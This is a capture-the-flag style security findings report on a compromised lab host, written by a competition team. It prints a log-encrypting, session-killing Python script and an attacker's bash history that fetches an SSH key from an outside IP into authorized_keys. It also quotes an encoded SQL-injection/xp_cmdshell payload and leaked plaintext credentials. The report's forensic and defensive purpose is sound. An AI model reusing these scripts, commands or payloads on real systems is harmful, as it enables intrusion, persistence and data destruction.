



Demo Company Security Assessment Findings Report

Date: November 19th, 2022

Contact Information

Team Gather table ID: CT50

Team name: CyberPwn_2077

Challenge and category :Threat detection· Cybersecurity

Name	Title	Contact Information
NUWE x Schneider Electric		
Dawid Ruciński	Participant	Email: dawid.rucinski@poczta.onet.pl Github: https://github.com/DawidRucinski
Marcin Kowalczyk	Participant	Email: m.kowalczyk.8@elka.pw.edu.pl Github: mkowalc8
Adam Piwoński	Team leader	Email: madapiw@gmail.com Github: Madapiw
Name	Participant	Email: Github:

Finding Severity Ratings

The following table defines levels of severity and corresponding CVSS score range that are used throughout the document to assess vulnerability and risk impact.

Severity	CVSS V3 Score Range	Definition
Critical	9.0-10.0	Exploitation is straightforward and usually results in system-level compromise. It is advised to form a plan of action and patch immediately.
High	7.0-8.9	Exploitation is more difficult but could cause elevated privileges and potentially a loss of data or downtime. It is advised to form a plan of action and patch as soon as possible.
Moderate	4.0-6.9	Vulnerabilities exist but are not exploitable or require extra steps such as social engineering. It is advised to form a plan of action and patch after high-priority issues have been resolved.
Low	0.1-3.9	Vulnerabilities are non-exploitable but would reduce an organization's attack surface. It is advised to form a plan of action and patch during the next maintenance window.
Informational	N/A	No vulnerability exists. Additional information is provided regarding items noticed during testing, strong controls, and additional documentation.

Scope

Assessment	Details
Security Audit	Machine IP 18.170.26.112

Security Audit Findings

Vulnerability Name – Location (Severity)

Description:	Non-Standard User Agent Connection Detected
Impact:	Informational
System:	18.170.26.112
References:	

Exploitation Proof of Concept

```
[Bytes in flight: 197]
[Bytes sent since last PSH flag: 197]
[Timestamps]
[Time since first frame in this TCP stream: 0.000728000 seconds]
[Time since previous frame in this TCP stream: 0.000243000 seconds]
TCP payload (197 bytes)
▼ Hypertext Transfer Protocol
  GET / HTTP/1.1\r\n
    > [Expert Info (Chat/Sequence): GET / HTTP/1.1\r\n]
      Request Method: GET
      Request URI: /
      Request Version: HTTP/1.1
      Host: 35.180.120.138\r\n
      User-Agent: curl/7.81.0\r\n
      Accept: */*\r\n
      k-E-Y: qPQZtryTuPtV9ZVaBuG097rMlTHf7T6b\r\n
      la-data-85: b205e262a1f1adcd208b7c7e43fb248e2b499f7b9e9d5b378dbdea8a3f866dca\r\n
      \r\n
    [Full request URI: http://35.180.120.138/]
    [HTTP request 1/1]
    [Response in frame: 4245]
0000 08 00 00 00 00 00 2c 00 01 04 06 02 42 e8 3e .....
0010 73 b1 a5 70 45 00 00 f9 b4 86 40 00 3e 06 6e 25 s:pE...
0020 0d 26 60 16 ac 14 00 03 c2 f6 00 50 b3 c0 a9 e2 &.....
0030 19 ea e8 e4 80 18 01 eb 0c 44 00 00 01 01 08 0a .....
0040 01 08 b4 1b d8 ba 57 68 47 45 54 20 2f 20 48 54 .....Wh
0050 54 50 2f 31 2e 31 0d 0a 48 6f 73 74 3a 20 33 35 TP/1.1
0060 2e 31 38 30 2e 31 32 30 2e 31 33 38 0d 0a 55 73 .180.120
0070 65 72 2d 41 67 65 6e 74 3a 20 63 75 72 6c 2f 37 er-Agent
0080 2e 38 31 2e 30 0d 0a 41 63 63 65 70 74 3a 20 2a .81.0-A
0090 2f 2a 0d 0a 6b 2d 45 2d 59 3a 20 71 50 51 5a 74 /*-k-E-
00a0 72 79 54 75 50 74 56 39 5a 56 61 30 75 47 6f 39 ryTuPtV9
00b0 37 72 4d 31 54 48 66 37 54 36 62 0d 0a 6c 61 0d 7rMlTHf7
00c0 64 61 74 61 2d 38 35 3a 20 62 32 30 35 65 32 36 data-85:
00d0 32 61 31 66 31 61 64 63 64 32 30 38 62 37 63 37 za1f1adc
00e0 65 34 33 66 62 32 34 38 65 32 62 34 39 39 66 37 e43fb248
00f0 62 39 65 39 64 35 62 33 37 38 62 64 62 65 61 38 b9e9d5b3
0100 61 33 66 38 36 30 64 63 61 0d 0a 0d 0a a3f866dca
```

Remediation

Who:	IT Team
Vector:	Remote

Action:	<p>Item 1: Block requests with non-standard headers</p> <p>Item 2:</p> <p>Item 3:</p> <p>Item 4:</p> <p>Additional Recommendations:</p>
----------------	---

Exploitation Paths

Vulnerability Name – Location (Severity)

Description:	Re-usage of passwords and no MQTT encryption
Impact:	Critical
System:	ip-19-0-132-254 host
References:	

Exploitation Proof of Concept

After analysis of the .pcap file, there has been observed that the credential's password "eL_Administrador_dE_SisteMaS" are sent in plaintext over MQTT protocol:

```

Protocol Name: MQTT
Version: MQTT v3.1.1 (4)
> Connect Flags: 0xc2, User Name Flag, Password Flag, QoS Level: At most once delivery (Fire and Forget), Clean Session Flag
Keep Alive: 60
Client ID Length: 8
Client ID: sub-mqtt
User Name Length: 6
User Name: patron
Password Length: 28
Password: el_Administrador_de_Sistema5

0000 08 00 00 00 00 00 00 00 49 40 01 03 06 02 42 ac 14 .....I 4.....8...
0010 00 00 00 00 45 00 00 70 a1 f0 06 04 06 40 58 .....E.p.p.@@0X
0020 0c 14 00 00 ac 14 00 03 ec cf 07 50 5c ed 32 2e .....L.....2.
0030 07 de 7f 42 08 18 01 cf 58 95 00 00 01 01 08 0a .....B.....X.....
0040 b4 56 c5 af ad 81 41 c6 10 3a 00 04 ad 51 54 54 .....A.....: MQTT
0050 0c 02 00 90 30 00 00 73 75 62 1d 6d 71 74 74 00 06 .....<.su.b-mqt
0060 70 61 74 72 6f 6e 00 1c 65 4c 5f 41 64 6d 69 6e .....patron--el_Admin
0070 69 73 74 72 61 64 6f 72 5f 64 45 5f 53 69 73 74 .....Istrador_de_Sist
0080 65 4d 61 53 .....ema5

```

The eavesdropped password was used to check whether it is used in other accounts. It appeared that the “johnsysadmin” account uses this password:

```
it_consultant@ip-19-0-132-254:~$ su johnsysadmin
Password:
johnsysadmin@ip-19-0-132-254:/home/it_consultant$
```

Remediation

Who:	IT Team, owner of “johnsysadmin” account
Vector:	Remote and Physical

Action:

Item 1: Prevent users from using identical passwords in various places

Item 2: Enable encryption of MQTT and use it through another port with SSL certificate

Item 3:

Item 4:

Additional Recommendations:

Exploitation Paths

Vulnerability Name – Location (Severity)
Too broad sudo permissions

Description:	user “johnsysadmin” is able to invoke <i>sudo -i</i> , therefore in case of exploitation of their account,
Impact:	High
System:	ip-19-0-132-254 host
References:	

Exploitation Proof of Concept

```
it_consultant@ip-19-0-132-254:~$ su johnsysadmin
Password:
johnsysadmin@ip-19-0-132-254:/home/it_consultant$ sudo -i
[sudo] password for johnsysadmin:
root@ip-19-0-132-254:~#
```

Remediation

Who:	IT Team
Vector:	Remote and Physical
Action:	Item 1: Limit the permissions of <i>johnsysadmin</i> user to the required minimum Item 2: If it’s possible, there should be Item 3: Item 4: Additional Recommendations:

Vulnerability Name – Location (Severity)

Log modification and system disruption

Description:	A malicious Python script has been injected into the machine. It is ran periodically in order to encrypt the logs. Not only that, it runs in the loop that terminates the sessions of all users every 315 seconds.
Impact:	Critical
System:	ip-19-0-132-254 host
References:	

Exploitation Proof of Concept

After initial analysis of the machine, there was observed that a part of logs, especially from vese-admin directory are malformed. There was raised a suspicion that they are encrypted, so the analysis team looked for binary that could be responsible for it.

Example of encrypted log:

```
root@ip-19-0-132-254:~/vese-admin/logs# cat log1.txt

gAAAAABjeRr2K7pH3V2EqpQSNpR80yzVeYhYXhF_54aAjUTJZ86GjudovKrUctQPTJgVNLumDFVsOu
bUHSWhCHDN2aA_1ZefnsPjpWQUrnIX1lCioLMyIVH50phOPUtLOv83n266Z5LoTmEVuRZMFzLzLvqh
T0HqUX5ukBYmLq8jatcXlMSRTwg=
```

Then, there was found a Python file called *disk_utils.py* in the */usr/bin* directory.

```
root@ip-19-0-132-254:/usr/bin# cat disk_utils.py
import os
from cryptography.fernet import Fernet
from pathlib import Path
from time import sleep

def read_key():
    my_key_file = "/etc/security/seck.key"
    if os.path.exists(my_key_file):
        with open(my_key_file, 'rb') as myfile:
            master_key = myfile.read()
    else:
        print("Cannot find key")
        return master_key

def encrypt(data):
    f = Fernet(read_key())
    return f.encrypt(data)

# --K--e--Y-- x6jaxiWuSC0hHIGhP0rsQiF1mPFMARLK
if __name__ == '__main__':
    directory = "/root/vese-admin/logs"
    files = []

    for file in os.listdir(directory):
        x = directory + "/" + file
        files.append(x)

    for file in files:
        with open(file, "rb") as thefile:
            contents = thefile.read()
            encrypted = encrypt(contents)
            with open(file, "wb") as thefile:
                thefile.write(encrypted)
            sleep(429)

    while True:
        os.system('echo "You lost. "')
        os.system("for user in $( loginctl list-sessions | awk '$4 ~ /pts/ { print $1}'); do loginctl terminate-sess
ion $user; done")
        sleep(315)
```

Remediation

Who:	IT Team
Vector:	Remote; Python access was crucial to run this exploit
Action:	<p>Item 1: Limit the permissions of <i>johnsysadmin</i> user to the required minimum</p> <p>Item 2: If it's possible, there should be restricted access to the root</p> <p>Item 3:</p> <p>Item 4:</p> <p>Additional Recommendations:</p>

Exploitation Paths

During the course of the investigation, it has been determined that around 8.47 am after massive scanning attempt, attackers determined, vulnerable ports open on the target system
/* through later obtained access logs confirm this hypothesis */

Command: nmap -T4 -A -v -Pn 18.170.26.112

Hosts	Services	Nmap Output	Ports / Hosts	Topology	Host Details	Scans
OS	Host	Port	Protocol	State	Service	Version
	ec2-18-170	✓ 22	tcp	open	ssh	OpenSSH 8.9p1 Ubuntu 3 (Ubuntu Linux; protocol 2.0)
		✓ 80	tcp	open	http	OpenResty web app server
		✓ 1720	tcp	open	h323q931	
		✗ 6000	tcp	closed	X11	
		✗ 6001	tcp	closed	X11:1	
		✗ 6002	tcp	closed	X11:2	
		✗ 6003	tcp	closed	X11:3	
		✗ 6004	tcp	closed	X11:4	
		✗ 6005	tcp	closed	X11:5	
		✗ 6006	tcp	closed	X11:6	
		✗ 6007	tcp	closed	X11:7	
		✗ 6009	tcp	closed	X11:9	
		✗ 6025	tcp	closed	x11	
		✗ 6059	tcp	closed	X11:59	
		✓ 6969	tcp	open	acmsoda	

89	Publish Message	[TEMPERATURE]
86	Publish Message	[TENSION]
87	Publish Message	[WINDSPEED]

0000	08 00 00 00 00 00 00 49	00 01 03 06 02 42 ac 14I.....B..
0010	00 08 00 00 45 00 00 70	a1 fd 40 00 40 06 40 58	...E..p..@..@X
0020	ac 14 00 08 ac 14 00 02	ec cf 07 5b 5c ed 32 2e[\..2.
0030	07 de 7f 42 80 18 01 f6	58 95 00 00 01 01 08 0a	...B....X.....
0040	b4 56 c5 af ad 81 41 c6	10 3a 00 04 4d 51 54 54	..V....A..:..MQTT
0050	04 c2 00 3c 00 08 73 75	62 2d 6d 71 74 74 00 06	...<..su b-mqtt..
0060	70 61 74 72 6f 6e 00 1c	65 4c 5f 41 64 6d 69 6e	patron..eL_Admin
0070	69 73 74 72 61 64 6f 72	5f 64 45 5f 53 69 73 74	istrador_dE_Sist
0080	65 4d 61 53		eMas

102.. 11.421848	172.21.0.5	172.21.0.2	MySQL	83	Request Query
102.. 11.421879	172.21.0.2	172.21.0.5	MySQL	83	Response OK
102.. 11.421728	172.21.0.5	172.21.0.2	MySQL	81	Request Close Statement
102.. 11.424113	172.21.0.5	172.21.0.2	MySQL	162	Request Execute Statement
102.. 11.424187	172.21.0.2	172.21.0.5	MySQL	153	Response
102.. 11.424287	172.21.0.2	172.21.0.5	MySQL	85	Response OK
102.. 11.424352	172.21.0.5	172.21.0.2	MySQL	83	Request Query
102.. 11.425454	172.21.0.2	172.21.0.5	MySQL	83	Response OK
102.. 11.425497	172.21.0.5	172.21.0.2	MySQL	81	Request Close Statement

> Frame 19286: 362 bytes on wire (1296 bits), 362 bytes captured (1296 bits)				0000	00 00 00 00 00 00 3d 00 01 03 06 02 42 ac 15B..
> Linux cooked capture v2				0010	00 05 04 05 45 00 00 0e 1e 90 40 00 00 05 c3 a0	...E...@...@..
> Internet Protocol Version 4, Src: 172.21.0.5, Dst: 172.21.0.2				0020	ac 15 00 05 ac 15 00 02 00 42 8c 0a ed 04 e6 00B.....
> Transmission Control Protocol, Src Port: 56120, Dst Port: 3386, Seq: 1934, Ack: 2792, Len: 98				0030	c7 0a e6 20 00 10 01 f5 58 b2 00 00 01 01 00 0aX.....
Source Port: 56130				0040	5f e1 05 1b 7b 10 c9 c9 37 00 00 00 10 49 4e 53Z...ZMS
Destination Port: 3386				0050	45 32 54 20 49 4e 54 4f 20 72 65 63 6f 72 64 71	ERT INTO records
(Stream index: 3)				0060	20 20 73 65 6e 73 6f 72 5f 74 79 70 65 2c 20 76	(sensor_type, v
(Conversation completeness: Incomplete (12))				0070	61 6c 75 65 20 20 56 41 4c 55 45 53 20 20 3f 2a	alue) VALUES (2
[TCP Segment Len: 98]				0080	20 3f 29 1b 00 00 00 17 ff ff ff 00 01 00 00	?).....
Sequence Number: 1934 (relative sequence number)				0090	00 00 01 fd 00 01 00 09 57 49 4e 44 53 50 45 45	DF.....WINDSPEE
Sequence Number (raw): 3988055785				00a0	44 46	
(Next Sequence Number: 2024 (relative sequence number))						
Acknowledgment Number: 2792 (relative ack number)						
Acknowledgment number (raw): 3347824488						
1800 = Header Length: 32 bytes (8)						
Flags: 0x018 (PSH, ACK)						
Window: 581						

Additionally, as mentioned before, administrative credentials were leaked through the MQTT protocol

it was determined that a custom terminal is running on port 6969 allowing access to an API with the following functionality.

```
it_consultant@ip-19-0-132-254:~/vese-projects-code/pseudo-terminal$ cat vars.py
MENU={
    "help": {
        "desc": "It displays all commands available and how to use them",
```

```

        "help": "",
        "usage": {}
    },
    "sensors": {
        "desc": "Shows information about sensors",
        "help": "Command `sensors` does not accept arguments.",
        "usage": {

        }
    },
    "records": {
        "desc": "Shows last 10 records",
        "help": "Command `records` does not accept arguments",
        "usage": {}
    },
    "banner": {
        "desc": "Banner configuration. By default it displays the current
banner.",
        "help": "banner [[-s]]",
        "usage": {
            "-s": "Allows to set a text as banner"
        }
    },
    "exit": {
        "desc": "Exit program. It does not save current state (IN PROGRESS)",
        "help": "Command `exit` does not accept arguments",
        "usage": {}
    }
}

```

```

the terminal in question exposes via API connection to a sql database
from dataclasses import dataclass
from queries import CREATE_SENSOR, CREATE_RECORD, GET_MIN_RECORDS_BY_NAME,
SET_SENSOR_BY_NAME, GET_SENSORS, GET_MAX_RECORDS_BY_NAME, GET_RECORDS,
GET_SENSOR_BY_NAME
import mariadb
import os
import sys

```

```

class Database:

    conn = None

    def __init__(self):
        self.connect()

    def connect(self):
        try:
            conn = mariadb.connect(
                user = os.getenv("DB_USER"),
                password = os.getenv("DB_PWD"),
                host = os.getenv("DB_HOST"),
                port = int(os.getenv("DB_PORT")),
                database= os.getenv("DB_NAME"),
            )
        except mariadb.Error as e:
            print("Error connecting to Mariadb database\n {}".format(e))
            sys.exit(1)

        self.conn = conn # Setting connection

    def close(self):

```

```

        self.conn.close() # Closes database connection.

@classmethod
def execute_query(cls, connection, query, params):
    data = []
    try:
        cursor = connection.cursor()
        if params:
            cursor.execute(query, params)
        else:
            cursor.execute(query)
        data = "OK" if cursor.description is None else cursor.fetchall()
        connection.commit()

    except mariadb.Error as e:
        connection.rollback()
        return "Internal error: {}".format(e)
    if not cursor.closed:
        cursor.close()
    return data

#####
### SENSORS ###
#####

def createSensor(self, sensor):
    name = sensor["name"]
    min = sensor["min"]
    max = sensor["max"]
    min_safe = sensor["min_safe"]
    max_safe = sensor["max_safe"]
    params = (name, min, max, min_safe, max_safe)
    print(params)
    data = Database.execute_query(self.conn, CREATE_SENSOR, params)

    return data

def getSensors(self):
    data = Database.execute_query(self.conn, GET_SENSORS, None)
    return data

def getSensorByName(self, name):
    data = Database.execute_query(self.conn, GET_SENSOR_BY_NAME, (name,))
    return data

def setSensorByName(self, name, body):
    min = body["min"]
    max = body["max"]
    params = (min, max, name)
    data = Database.execute_query(self.conn, SET_SENSOR_BY_NAME, params)
    return data

#####
##### RECORDS #####
#####

def createRecord(self, record):
    sensor_type = record["sensor_type"]
    value = record["value"]
    params = (sensor_type, value)
    data = Database.execute_query(self.conn, CREATE_RECORD, params)
    return data

```


8715%20AND%201%3D1%20UNION%20ALL%20SELECT%201%2CNULL%2C%27%3Cscript%3Ealert%28%22XSS%22%29%3C%2Fscript%3E%27%2Ctable_name%20FROM%20information_schema.tables%20WHERE%202%3E1--%2F%2A%2A%2F%3B%20EXEC%20xp_cmdshell%28%27cat%20..%2F..%2F..%2Fetc%2Fpasswd%27%29%23"

After obtaining a possible foothold in the system, it is assumed that the attackers attempted to exploit the exposed infrastructure such as web portals.

In the course of investigating the web subsystems

Exploitation Paths

Vulnerability Name – Location (Severity)

exposure of unsecured terminal interface and unsecured SQL interface by means of connected API

Description:	exposure of unsecured terminal interface and unsecured SQL interface by means of connected API
Impact:	high
System:	custom python software exposing SQL API also written in python on the localhost machine
References:	

Exploitation Proof of Concept

```
Please ask your administrator.
[it_consultant@ip-19-0-132-254:~/vese-projects-code/api$ ls
__pycache__ db.py main.py queries.py records records.1 requirements.txt routes.py
[it_consultant@ip-19-0-132-254:~/vese-projects-code/api$ cat records

Vulnerable

> An error has occurred during command execution.
Error: b"Command not found.\nEnter 'help' to display available commands\n".
> [it_consultant@ip-19-0-132-254:~/vese-projects-code/api$
```

in conjunction with the source code referenced before

Remediation

Who:	IT Team
Vector:	Remote,
Action:	<p>Item 1:</p> <p>do not expose unnecessary ports to the outside public networks – it is recommended that unnecessary ports such as 6969 be closed, and an alternative secure connection method devised, possibly via VPN tunnel</p> <p>Item 2:</p> <p>avoid using custom-written tools which may expose vulnerable parts of the system without a thorough security audit first, thus it is recommended to desist the use of the custom API in its current form</p> <p>Item 3:</p> <p>avoid using direct SQL syntax commands in a way which can allow a potential attacker to manipulate their contents before receipt by the target server – do not expose SQL syntax directly to the end device services</p> <p>Item 4:</p> <p>Additional Recommendations:</p>

Exploitation Paths

Next, the malicious actors planted a malicious piece of code in order to obtain the administrator credentials

Vulnerability Name – Location (Severity)

Potentially Malicious SSH Keys marked as authorized

Description:	After exploitation, the attackers downloaded their SSH public key onto “eliseo” account and added it to authorized keys. This way, the attackers established persistence in the system.
Impact:	Critical
System:	johnsysadmin
References:	

Exploitation Proof of Concept

```
root@ip-19-0-132-254:/home/eliseo/.ssh# cat authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAQGCZytsTxXpBw/MBmk61pSGjnx21G9ZWzrhZmaI0nC7fMWTB0pCQVtZ2cQyAwYISII7k9Fnsqeqz5C
z8RzJTriE9kr+JhhBxKpfy7DA7NXJgYWgdz6nxmnmMINpxJOY4nxEd9uuJriA7/eVQ90rGY6BZGuicDEkfb1lVAiqOmpKKzKp0uIvP0bS30H7i0IaGK8
N806AbJPbvI7+dW0ubdJMR60RIeROMAM9C77721tF1RyKnIr0kyKjpgWReBb7StieRcQBek7GFZ48gTkWPGP6Fmqn1zq2UXHHLxnD262kXGG77vy/ouF
GMP+cIhoBgwuTXGJL0G2GU6s8T32zpSYIf3DLTYa/u6b7yhosu7PsBAnE4dgubgKiuecDfe3CEqr4zczKRPVd8eejFlth9AwNdex60/mqw1X7seLpZQ
cI9aogrGMVatAGpZFgF/Xllda0KiKqPOuQw37S36RpWEBdRXoY05CTfhFcsq706Cfhc/Inp6xqVZBjLSWf/MqWk= nxgroup@54.17.234.165
root@ip-19-0-132-254:/home/eliseo/.ssh# cat id_rsa.public.key
0GfABNP4esxc8FDNGQpPnEZJyiaVioAH
root@ip-19-0-132-254:/home/eliseo/.ssh# cd ..
root@ip-19-0-132-254:/home/eliseo# cat .bash_
.bash_history .bash_logout
root@ip-19-0-132-254:/home/eliseo# cat .bash_history
[15/11/2022-04:34:01] rm /home/eliseo/.bash_history
[15/11/2022-04:34:06] mkdir /media/rubd
[15/11/2022-04:34:16] mount -t rubd /dev/sb1 /media/rubd
[15/11/2022-04:34:20] ping -c 1 54.17.234.165
[15/11/2022-04:34:20] wget http://54.17.234.165/the_key
[15/11/2022-04:34:20] cat the_key >> /home/eliseo/.ssh/authorized_keys
[15/11/2022-04:34:20] rm the_key
[15/11/2022-04:34:20] 84794b1ccb6905ab2397aac415c82afbb5fd8d40049d82c3043f0a4200fb77da
[15/11/2022-04:34:20] umount /dev/sdb1
[15/11/2022-04:34:20] rm -rf /media/rubd
[15/11/2022-04:37:43] sudo -l
crontab -
crontab -l
exit
```

```
johnsysadmin@ip-19-0-132-254:/home/it_consultant$ sudo -i
[sudo] password for johnsysadmin:
root@ip-19-0-132-254:~# cd /home/
root@ip-19-0-132-254:/home# ls
eliseo it_consultant johnsysadmin juliana smb
root@ip-19-0-132-254:/home# cd eliseo/
root@ip-19-0-132-254:/home/eliseo# cat .bash_history
[15/11/2022-04:34:01] rm /home/eliseo/.bash_history
[15/11/2022-04:34:06] mkdir /media/rubd
[15/11/2022-04:34:16] mount -t rubd /dev/sb1 /media/rubd
```

```

[15/11/2022-04:34:20] ping -c 1 54.17.234.165
[15/11/2022-04:34:20] wget http://54.17.234.165/the_key
[15/11/2022-04:34:20] cat the_key >> /home/eliseo/.ssh/authorized_keys
[15/11/2022-04:34:20] rm the_key
[15/11/2022-04:34:20]
84794b1ccb6905ab2397aac415c82afbb5fd8d40049d82c3043f0a4200fb77da
[15/11/2022-04:34:20] umount /dev/sdb1
[15/11/2022-04:34:20] rm -rf /media/rubd
[15/11/2022-04:37:43] sudo -l
crontab -
crontab -l
exit
root@ip-19-0-132-254:/home/eliseo#

```

This way, the threat actors both have a “foothold” in the system—they can use the account for further exploitation, and they have persistence. There is also supposed that one of the attackers’ IP addresses is 54.17.234.165, as they have downloaded the key from there.

Remediation

Who:	IT Team, “eliseo” account owner
Vector:	Remote
Action:	<p>Item 1: It is urgently needed to disable this account.</p> <p>Item 2: It is needed to remove the rogue SSH keys from authorized keys file</p> <p>Item 3: The communication with the 54.17.234.165 IP address should be blocked.</p> <p>Item 4:</p> <p>desist use of insecure MQTT protocol, use secured variant</p> <p>Additional Recommendations:</p>

Exploitation Paths

cat

additional information :

- probable source of obtaining exploit:

```
215 1.838068 35.180.74.37 172.20.0.3 TCP 72 47060 → 80 [ACK] Seq=1 Ack=1 Win=62848 Len=0 TSval=2203392812 TSecr=3525504743
216 1.838069 35.180.74.37 172.20.0.3 TCP 72 [TCP Dup ACK 215#1] 47060 → 80 [ACK] Seq=1 Ack=1 Win=62848 Len=0 TSval=2203392812 TSecr=3525504743
217 1.838133 35.180.74.37 10.0.1.13 HTTP 150 GET / HTTP/1.1
218 1.838141 35.180.74.37 172.20.0.3 HTTP 150 GET / HTTP/1.1
219 1.838143 35.180.74.37 172.20.0.3 TCP 150 [TCP Retransmission] 47060 → 80 [PSH, ACK] Seq=1 Ack=1 Win=62848 Len=78 TSval=2203392812 TSecr=3525504743
220 1.838152 172.20.0.3 35.180.74.37 TCP 72 80 → 47060 [ACK] Seq=1 Ack=79 Win=65152 Len=0 TSval=3525504743 TSecr=2203392812
221 1.838152 172.20.0.3 35.180.74.37 TCP 72 [TCP Dup ACK 220#1] 80 → 47060 [ACK] Seq=1 Ack=79 Win=65152 Len=0 TSval=3525504743 TSecr=2203392812
222 1.838158 10.0.1.13 35.180.74.37 TCP 72 80 → 47060 [ACK] Seq=1 Ack=79 Win=65152 Len=0 TSval=3525504743 TSecr=2203392812
c
> Transmission Control Protocol, Src Port: 47060, Dst Port: 80, Seq: 1, Ack: 1, Len: 78
✓ Hypertext Transfer Protocol
  > GET / HTTP/1.1\r\n
    Host: 35.180.120.138\r\n
    User-Agent: curl/7.81.0\r\n
    Accept: */*\r\n
    \r\n
    [Full request URI: http://35.180.120.138/]
    [HTTP request 1/1]
    [Response in frame: 225]
0000 00 00 00 00 00 00 00 00 01 06 0e ed fd ea .....
0010 6b e4 00 00 45 00 00 51 c4 40 00 3f 06 70 cc k...E... Q@?..p
0020 23 b4 4a 25 0a 00 01 0d b7 d4 00 50 3c 11 db 8f #.3K.... --P<...
0030 95 1a 03 a6 00 18 01 eb c6 18 00 00 01 01 00 0a .....
0040 83 55 1b 2c d2 22 ee e7 47 45 54 20 2f 20 48 54 .U, "... GET / HT
0050 54 50 2f 31 2e 31 0d 0a 4b 6f 73 74 3a 20 33 35 TP/1.1.. Host: 35
0060 2e 31 38 30 2e 31 32 30 2e 31 33 38 0d 0a 55 73 .180.120 .138-Us
0070 65 72 2d 41 67 65 6e 74 3a 20 63 75 72 6c 2f 37 er-Agent : curl/7
0080 2e 38 31 2e 30 0d 0a 41 63 63 65 70 74 3a 20 2a .81.0..A ccept: *
0090 2f 2a 0d 0a 0d 0a .....
```

Exploitation Paths

Next, the malicious actors planted a malicious piece of code

Vulnerability Name – Location (Severity) – high

Description:	Improper handling of excessive privileges
Impact:	Critical, non root users should not be authorized to mount volumes, or append to the authorized keys as this is a critical access control, and this allows potential exploitation paths
System:	
References:	

Exploitation Proof of Concept

additional access has been granted through implantation of an attacker ssh key through a eliseo user (later removed, as evident from remaining history logs)

```
johnsysadmin@ip-19-0-132-254:/home/it_consultant$ sudo -i
[sudo] password for johnsysadmin:
root@ip-19-0-132-254:~# cd /home/
root@ip-19-0-132-254:/home# ls
eliseo it_consultant johnsysadmin juliana smb
root@ip-19-0-132-254:/home# cd eliseo/
root@ip-19-0-132-254:/home/eliseo# cat .bash_history
[15/11/2022-04:34:01] rm /home/eliseo/.bash_history
[15/11/2022-04:34:06] mkdir /media/rubd
[15/11/2022-04:34:16] mount -t rubd /dev/sb1 /media/rubd
[15/11/2022-04:34:20] ping -c 1 54.17.234.165
[15/11/2022-04:34:20] wget http://54.17.234.165/the_key
[15/11/2022-04:34:20] cat the_key >> /home/eliseo/.ssh/authorized_keys
[15/11/2022-04:34:20] rm the_key
[15/11/2022-04:34:20] 84794b1ccb6905ab2397aac415c82afbb5fd8d40049d82c3043f0a4200fb77da
[15/11/2022-04:34:20] umount /dev/sdb1
[15/11/2022-04:34:20] rm -rf /media/rubd
[15/11/2022-04:37:43] sudo -l
crontab -
crontab -l
exit
root@ip-19-0-132-254:/home/eliseo#
```

Remediation

Who:	IT Team
Vector:	Remote,

Action:	<p>Item 1:</p> <p>restrict ability to mount volumes to root / selected users only through use of enhanced SELinux policies</p> <p>Item 2:</p> <p>restrict ability of users to append to authorized keys, also possibly through implementation of strict SELinux policies</p> <p>Item 3:</p> <p>Item 4:</p> <p>Additional Recommendations:</p>
----------------	---

```

root@ip-19-0-132-254:/home/eliseo/.ssh# cat authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAQGCzYtsTxXpBw/MBmk61pSGjnx2lG9ZWrzhZmaI0nC7fMWTB0pCQVtZ2cQyAwYISII7k9Fnsqeqz5C
z8RzJTriE9kr+JhhBxKpfy7DA7NXJgYWgdz6nxmnmMINpxJOY4nxEd9uujriA7/eVQ90rGY6BZGuicDEKfb1lVAiq0mpKKzKp0uIvP0bS30H7i0IaGK8
N806AbJPbvI7+dWoubdJMR60RIeR0MAM9C77721tF1RyKnIrOkyKjpgWReBb7StieRcQBek7GFZ48gTKWPGP6Fmqn1zq2UXHHLxnD262kXGG77vy/ouF
GMP+cEhoBguwTXGJL0G2GJU6s8T32zpSYIf3DLTYa/u6b7yhosu7PsBANe4dgubgKiuecDfe3CEqr4zczKRPVd8eejFlth9AwNdex60/mqw1X7seLpZQ
cI9aogrGMVatAgpZFgF/Xllda0KikgPOuQw37S36RpWEBdRXoY05CTfhFcsg706Cfhc/Inp6xqVZBjLSWf/MqWk= nxgroup@54.17.234.165
root@ip-19-0-132-254:/home/eliseo/.ssh# cat id_rsa.public.key
0GfABNP4esxc8fDNGQpPnEZJyiaVioAH
root@ip-19-0-132-254:/home/eliseo/.ssh# cd ..
root@ip-19-0-132-254:/home/eliseo# cat .bash_
.bash_history .bash_logout
root@ip-19-0-132-254:/home/eliseo# cat .bash_history
[15/11/2022-04:34:01] rm /home/eliseo/.bash_history
[15/11/2022-04:34:06] mkdir /media/rubd
[15/11/2022-04:34:16] mount -t rubd /dev/sb1 /media/rubd
[15/11/2022-04:34:20] ping -c 1 54.17.234.165
[15/11/2022-04:34:20] wget http://54.17.234.165/the_key
[15/11/2022-04:34:20] cat the_key >> /home/eliseo/.ssh/authorized_keys
[15/11/2022-04:34:20] rm the_key
[15/11/2022-04:34:20] 84794b1ccb6905ab2397aac415c82afbb5fd8d40049d82c3043f0a4200fb77da
[15/11/2022-04:34:20] umount /dev/sdb1
[15/11/2022-04:34:20] rm -rf /media/rubd
[15/11/2022-04:37:43] sudo -l
crontab -
crontab -l
exit
root@ip-19-0-132-254:/home/eliseo#

```

Vulnerability Name – Location (Severity)

any user can read etc/passwd contents, therefore allowing them to guess the administrator username

Description:	any user can read etc/passwd contents, therefore allowing them to guess the administrator username, therefore allowing them to guess the administrator username
Impact:	high
System:	localhost, password management
References:	

Exploitation Proof of Concept

```
t_consultant@ip-19-0-132-254:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
